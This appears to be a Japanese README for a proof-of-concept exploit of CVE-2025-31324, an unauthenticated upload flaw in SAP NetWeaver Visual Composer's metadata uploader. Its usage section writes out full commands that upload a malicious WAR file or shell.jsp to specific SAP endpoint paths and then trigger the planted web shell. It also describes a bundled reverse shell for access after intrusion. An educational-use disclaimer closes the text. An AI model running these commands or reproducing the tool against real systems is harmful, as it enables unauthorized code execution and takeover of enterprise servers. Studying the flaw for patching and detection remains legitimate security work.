CVE-2025-31324_PoC

CVE-2025-31324 の概念実証: SAP NetWeaver Visual Composer Metadata Uploader における認証なしアップロード

このスクリプトは以下を実行します:

1. 脆弱なエンドポイントへのファイルアップロード（アップロードホスト/ポート経由）
2. HTTP GET によるオプションのトリガー（トリガーホスト/ポート経由）
3. 基本的な応答検証/ログ記録

使用例: python3 PoC.py
--host sap.example.com --port 50000
--endpoint /irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR
--file EvilPayload.war
--trigger-path /irj/portal/irj/servlet_jsp/irj/root/EvilPayload/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https true
--bypass-portal

python3 PoC.py --host sap.example.com --port 50000
--endpoint /developmentserver/metadatauploader
--file shell.jsp
--trigger-path /visual_composer/shell.jsp
--trigger-host sap.example.com --trigger-port 50001 --trigger-https

.war ファイルをアップロードして実行することも可能です。cache.jsp はリバースシェルで、システムに侵入した後にアクセスを提供します。（まだ問題解決中です）

免責事項

これは教育目的のみを意図しており、悪意のある活動に使用してはなりません。セキュリティの脆弱性をテストまたは調査する際は、必ず必要な許可を得て、倫理的なガイドラインに従ってください。

ご質問やご不明な点がございましたら、お気軽にお問い合わせください。安全にお過ごしください！